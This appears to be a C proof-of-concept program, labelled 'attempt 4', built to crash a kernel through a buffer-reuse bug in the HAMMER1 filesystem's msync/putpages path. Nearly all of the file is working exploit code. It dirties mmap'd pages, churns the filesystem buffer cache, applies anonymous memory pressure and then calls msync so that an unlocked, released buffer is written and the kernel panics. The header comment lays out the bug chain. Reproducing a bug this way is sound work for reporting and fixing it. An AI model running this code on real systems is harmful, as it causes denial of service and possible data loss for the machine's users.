/*
 * DF-3000 PoC (attempt 4): rounds of [re-dirty sparse set of pages] ->
 * [churn hammer1 file buffers by reading a big hammer1 file] ->
 * [anon pressure to reclaim clean sibling pages] -> [msync putpages].
 *
 * Target state for the bug: a 16K block whose covering buffer has been
 * recycled and whose non-dirty sibling pages (incl. beyond-EOF tail pages
 * of the last partial block) have been reclaimed, while >=1 dirty page
 * remains.  putpages -> hammer_vop_write(UIO_NOCOPY) -> getblk() ->
 * !B_CACHE -> bqrelse(bp); bread(&bp) [released-buffer reuse] ->
 * bwrite/bawrite on unlocked buffer -> panic.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/sysctl.h>

int
main(int argc, char **argv)
{
	const char *path  = (argc > 1) ? argv[1] : "/mnt/h1/df3000d.bin";
	const char *churn = (argc > 2) ? argv[2] : "/mnt/h1/churn1.bin";
	size_t fsize = (1 << 20) + 8192;	/* last 16K block partial */
	int i, round;
	char *w;

	setvbuf(stdout, NULL, _IONBF, 0);

	int fd = open(path, O_RDWR|O_CREAT|O_TRUNC, 0644);
	if (fd < 0) { perror("open"); return 1; }
	if (ftruncate(fd, fsize)) { perror("ftruncate"); return 1; }

	w = mmap(NULL, fsize, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
	if (w == MAP_FAILED) { perror("mmap"); return 1; }

	/* initial fill: all blocks valid, buffers clean */
	memset(w, 0, fsize);
	msync(w, fsize, MS_SYNC);

	unsigned long physmem;
	size_t len = sizeof(physmem);
	sysctlbyname("hw.physmem", &physmem, &len, NULL, 0);
	size_t psz = (physmem / 8) & ~4095UL;	/* 12.5% per round */
	char *big = mmap(NULL, psz, PROT_READ|PROT_WRITE,
			 MAP_ANON | MAP_SHARED, -1, 0);

	int cfd = open(churn, O_RDONLY);
	static char cbuf[65536];

	for (round = 0; round < 8; round++) {
		/* re-dirty: last valid page of the file + every 4th page */
		w[fsize - 1] = (char)round;
		for (size_t off = 0; off < fsize; off += 4 * 4096)
			w[off] = (char)(round + off);

		/* churn hammer1 buffers: re-read the churn file twice */
		if (cfd >= 0) {
			for (i = 0; i < 2; i++) {
				ssize_t n;
				long tot = 0;
				lseek(cfd, 0, SEEK_SET);
				while ((n = read(cfd, cbuf, sizeof(cbuf))) > 0)
					tot += n;
				if (round == 0 && i == 0)
					printf("churn pass: %ld bytes\n", tot);
			}
		}

		/* anon pressure: touch fresh anon pages each round */
		if (big != MAP_FAILED) {
			char *p = big + ((long)round * (psz / 8) & ~4095UL);
			char *end = big + psz;
			if (p >= end) p = big;
			for (; p < end; p += 4096)
				*p = (char)round;
		}

		printf("round %d: msync(MS_SYNC) putpages...\n", round);
		if (msync(w, fsize, MS_SYNC))
			printf("msync: %s\n", strerror(errno));
	}
	printf("done, no panic\n");
	munmap(w, fsize);
	if (big != MAP_FAILED) munmap(big, psz);
	close(fd);
	unlink(path);
	return 0;
}
